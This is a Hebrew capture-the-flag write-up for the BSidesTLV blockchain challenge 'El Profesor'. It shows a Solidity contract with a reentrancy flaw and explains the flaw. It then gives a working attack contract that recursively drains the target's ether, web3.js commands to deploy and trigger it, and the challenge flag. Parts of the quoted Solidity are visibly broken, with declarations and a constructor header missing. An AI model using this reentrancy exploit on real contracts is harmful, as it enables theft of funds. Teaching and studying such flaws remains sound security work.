El Profesor

• קטגוריה: Blockchain
• 1200 נקודות
• נפתר על ידי קבוצת JCTF

פתרון

``````pragma solidity ^0.4.23;
​
library SafeMath {
​
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}

​        uint256 c = a * b;
require(c / a == b);

return c;
}

/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;
}
​
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;

return c;
}

​    /**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);

​        return c;
}

/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}

​
contract dao {
using SafeMath for uint;
modifier oneWei() {
require(userBalances[msg.sender] >= 1 wei);
_;
}

​   function getUserBalance(address user) constant returns(uint) {
return userBalances[user];
}
uint currentBalance = userBalances[msg.sender];
}
function getBalance() constant returns (uint) {
return this.balance;
}
​
function withdrawBalance() oneWei() {
uint amountToWithdraw = userBalances[msg.sender];
if(amountToWithdraw > this.balance) {
amountToWithdraw = this.balance;
}
if(msg.sender.call.value(amountToWithdraw)() == false) {
return;
}
userBalances[msg.sender] = 0;
}

function() payable {}

}``````

המטרה היא לנצל חולשת אטומיות ולרוקן את החוזה מנכסיו. באותה החולשה השתמשו כנגד ה-DAO), מה שהוביל לגניבת 50 מליון דולר.

קטע הקוד הפגיע הוא:

``````uint amountToWithdraw = userBalances[msg.sender];
if(amountToWithdraw > this.balance) {
amountToWithdraw = this.balance;
}
if(msg.sender.call.value(amountToWithdraw)() == false) {
return;
}
userBalances[msg.sender] = 0;``````

כפי שניתן לראות, הקוד הזה פגיע כי איפוס היתרה נעשה לאחר שההעברה מתבצעת. כאשר הסכום יכול להישלח לחוזה אחר, ופונקציית ה-fallback של אותו חוזה תיקרא.

בפונקצית ה-fallback ניתן לקרוא שוב באופן רקורסיבי ל-withdrawBalance וניתן יהיה למשוך שוב מטבעות מכיוון שהתנאי בודק את היתרה והיא כזכור עדיין לא שונתה.

לכן, המימוש של החוזה החכם שלנו שלנו יהיה:

``````// ...(the original dao contract code)...

contract Attack {
dao target;
int i;
target = dao(a);
}

// donate some Ether to make withdraw accept
function donate() public payable {
i = 1;
}

​function get_balance() public view returns(uint) {
return target.getBalance();
}

​function myBalance() public view returns(uint) {
return target.getUserBalance(this);
}
​
function withdraw() public{
target.call(bytes4(keccak256("withdrawBalance()")));
}

// Make it recursive
function () public payable{
if(i > 1) {
i -= 1;
this.withdraw();
}
}
}``````

ההתקפה תמשוך את סכום ההעברה ותעביר את הסכום לכתובת של התוקף. נייצא את החוזה:

``````var attack_abi = /*[abi-contract]*/;
var attackContract = web3.eth.contract(attack_abi);
var attack = attackContract.new(a,{
data: /*contract_binary*/,
gas: '4700000'
}, function (e, contract){
console.log(e, contract);
if (typeof contract.address !== 'undefined') {
console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
}
}
)``````

ולאחר מכן, נתקוף:

``````var attacker = web3.eth.contract(attack_abi).at(contract.address);
attacker.donate({value:1337000000000000000000});
attacker.withdraw()``````

כאשר נבדוק את היתרה, נקבל את הדגל: `BSidesTLV{MiSonAlzatoOBellaCiaoBellaCiaoBellaCiaoCiaoCiao!}`